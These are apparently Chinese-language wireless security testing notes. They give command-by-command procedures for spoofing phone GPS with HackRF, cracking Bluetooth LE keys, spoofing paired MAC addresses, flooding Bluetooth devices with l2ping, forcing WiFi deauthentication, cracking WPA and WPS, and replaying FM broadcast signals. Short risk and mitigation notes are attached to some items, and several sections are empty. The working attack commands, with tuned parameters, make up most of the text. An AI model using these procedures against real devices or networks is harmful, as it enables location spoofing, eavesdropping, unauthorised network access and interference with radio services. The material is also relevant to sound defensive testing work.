无线攻击面
无线层攻击分析:TPMS, NFC, RF, BLE , Cellular, GPS, WIFI,RFID,5G,ZigBee
无线测试流程:
传输层分析: 信号捕获,信号重放,中间劫持,信号干扰
固件分析: RCE, DOS攻击,堆栈信息泄露等
先参考个图:
FM测试
测试名称:FM信号重放攻击
测试工具:
测试步骤:
安全风险
防护建议:
GPS测试
1. 下载编译gps-sdr-sim
$ git clone https://github.com/osqzss/gps-sdr-sim.git
$ cd gps-sdr-sim
$ gcc-mp-5 gpssim.c -lm -O3 -o gps-sdr-sim
2. RINEX星历数据下载
ftp://cddis.gsfc.nasa.gov/pub/gps/data/daily/2016/brdc
找brdc0050.16n.Z 这样的文件,解压出来就是了
3. 生成GPS仿真数据
$./gps-sdr-sim -e brdc3540.14n -l 29.643598,91.101319,100 -b 8
指定星历文件(可自行更新至最新的星历数据),设置经纬度(拉萨市),必须指定采样精度为8否则用hackRF one欺骗成功率不高,反正我指定16是没成功过(默认为16,乌云文章也是16但设备是bladeRF)
另外如果有其他目的也可以伪造一个动态的GPS数据样本,例如欺骗计步器,轨迹等
$./gps-sdr-sim -e brdc3540.14n -u circle.csv -b 8
4. HackRF发射GPS数据
$ hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0 -R
指定GPS数据,指定频率为1575420000 即民用GPS L1波段频率,指定采样速率2.6Msps,开启天线增益,指定TX VGA(IF)为0(为了限制影响范围,最大为47慎用!!!),最后开启重复发射数据功能
手机终端1分40秒就可以被欺骗成功,这里有一个测试技巧,就是定模模式选仅GPS定位,不要用基站、WLAN定位,这样打开地图等软件就是伪造后的GPS坐标点。
GSM测试
蓝牙测试
测试名称:中间人攻击
测试工具:ubertooth, crackle
测试步骤:
如果你想把抓好的包带回家慢慢整,你可以简单的包抓取的内容输出到某个目录下
ubertooth-btle -f -c /output.pcap
抓到包之后我们最关心的问题是我们有没有抓到的足够的包来破解tk。
所以在wireshark中你可以在filter处加上btsmp,确保抓到了我们需要的6个包。
借助cracle和我们抓到的包依次破解tk和ltk
crackle -i out.pcap -o test66.pcap
安全风险:
指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。攻击者截获通信数据,获取敏感信息内容。
防护建议:
加载证书来防止中间人攻击。
测试名称:重新匹配攻击
测试工具:hcitool, bdaddr, bccmd
测试步骤:
1.嗅探捕获蓝牙匹配数据包
2.伪造已匹配的mac地址
bdaddr -i hci0 00:23:a2:8s #伪造已匹配的mac地址
bccmd warmreset
3.发起重新匹配
hcitool cc D8:23:E6:31 #重新匹配攻击的mac地址
hcitool enc D8:23:E6:31 enable
安全风险:
在蓝牙进行配对的时候,可以通过修改为已绑定的蓝牙mac地址可以发起重新匹配认证
防护建议: 暂无
测试名称:匿名文件传送
测试工具:hcitool, bdaddr, bccmd
测试步骤:
按照重新匹配攻击的方式,把设备修改为信任蓝牙设备的地址,修改蓝牙名称,向目标发送病毒文件
安全风险:
蓝牙未验证模式,可直接接收恶意数据和病毒文件,导致蓝牙感染病毒,导致蓝牙被控等。
防护建议:
启用蓝牙连接验证。
测试名称:DOS攻击
测试工具:hcitool, bdaddr, bccmd
测试步骤:
l2ping -s 10000 蓝牙mac地址
安全风险:
给目标蓝牙发送畸形数据包,进行攻击,导致蓝牙运行异常,蓝牙运行异常或者崩溃,关机,重启等。
修复建议:
1.设置蓝牙为不可见
2.限制蓝牙可见时常
3.拒绝陌生蓝牙连接请求
4.启用蓝牙连接验证
WIFI测试
# Wifi 破解,方式一:
sudo airmon-ng start wlan0 1
ifconfig //查看打开的模拟监听网卡
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 -w ~/test/ wlan0mon //捕获数据到test文件下
sudo aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon //强制用户断开wifi连接;原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi; -0表示发起deauthentication攻击
sudo airmon-ng stop wlan0mon
sudo aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap //破解;-a2代表WPA的握手包
# Wifi 破解,方式二[开启了wps]:
sudo wash -i wlan0mon -C
sudo reaver -i wlan0mon -b C8:3A:35:30:3E:C8 -vv -a
sudo airmon-ng stop wlan0mon
参考:
一、运行hackrf_info,记录Serial number的最后6位数字8d895f
bing@Xstorm:~$ sudo hackrf_info
[sudo] password for bing:
hackrf_info version: unknown
libhackrf version: unknown (0.5)
Found HackRF
Index: 0
Serial number: 0000000000000000a06063c8258d895f
Board ID Number: 2 (HackRF One)
Firmware Version: 2017.02.1 (API:1.02)
Part ID Number: 0xa000cb3c 0x00714367
二、运行gqrx接收信号, 进行配置; 如下图:
三、设置好如下图所示的频率103.9MHz后,并按照下图右边的Receiver Options中所示的来设置。
Frequency: 100365.000
Filter Width:Normal,
Filter Shape:Normal,
Mode:WFM(Mono),
AGC:Fast
慢慢调整Squelch的值,消除杂音
四、在听到吱吱杂音之后,我们需要通过调整Input controls选项来实现听清的效果。当你把Hardware AGC前的框中的对号取消后,你就可以随便调整RF、IF和BB Gain了。通过加大这三者的值,你就可以清楚的听到103.9MHz北京交通广播的声音
信号录制:
hackrf_transfer -r 1.raw -f 104304000 -g 30 -l 24 -a 1 -p 1 -s 8000000 -b 4000000
信号重放:
hackrf_transfer -t 1.raw -f 98000000 -x 32 -a 1 -p 1 -s 8000000 -b 4000000 -R
这时收音机里会重复播放你刚刚录制的那一段声音。
Usage:
-h # this help
[-d serial_number] # Serial number of desired HackRF.
-r <filename> # Receive data into file (use '-' for stdout).
-t <filename> # Transmit data from file (use '-' for stdin).
-w # Receive data into file with WAV header and automatic name.
# This is for SDR# compatibility and may not work with other software.
[-f freq_hz] # Frequency in Hz [0MHz to 7250MHz].
[-i if_freq_hz] # Intermediate Frequency (IF) in Hz [2150MHz to 2750MHz].
[-o lo_freq_hz] # Front-end Local Oscillator (LO) frequency in Hz [84MHz to 5400MHz].
[-m image_reject] # Image rejection filter selection, 0=bypass, 1=low pass, 2=high pass.
[-a amp_enable] # RX/TX RF amplifier 1=Enable, 0=Disable.
[-p antenna_enable] # Antenna port power, 1=Enable, 0=Disable.
[-l gain_db] # RX LNA (IF) gain, 0-40dB, 8dB steps
[-g gain_db] # RX VGA (baseband) gain, 0-62dB, 2dB steps
[-x gain_db] # TX VGA (IF) gain, 0-47dB, 1dB steps
[-s sample_rate_hz] # Sample rate in Hz (4/8/10/12.5/16/20MHz, default 10MHz).
[-n num_samples] # Number of samples to transfer (default is unlimited).
[-S buf_size] # Enable receive streaming with buffer size buf_size.
[-c amplitude] # CW signal source mode, amplitude 0-127 (DC value to DAC).
[-R] # Repeat TX mode (default is off)
[-b baseband_filter_bw_hz] # Set baseband filter bandwidth in Hz.
Possible values: 1.75/2.5/3.5/5/5.5/6/7/8/9/10/12/14/15/20/24/28MHz, default <= 0.75 * sample_rate_hz.
[-C ppm] # Set Internal crystal clock error in ppm.
[-H hw_sync_enable] # Synchronise USB transfer using GPIO pins.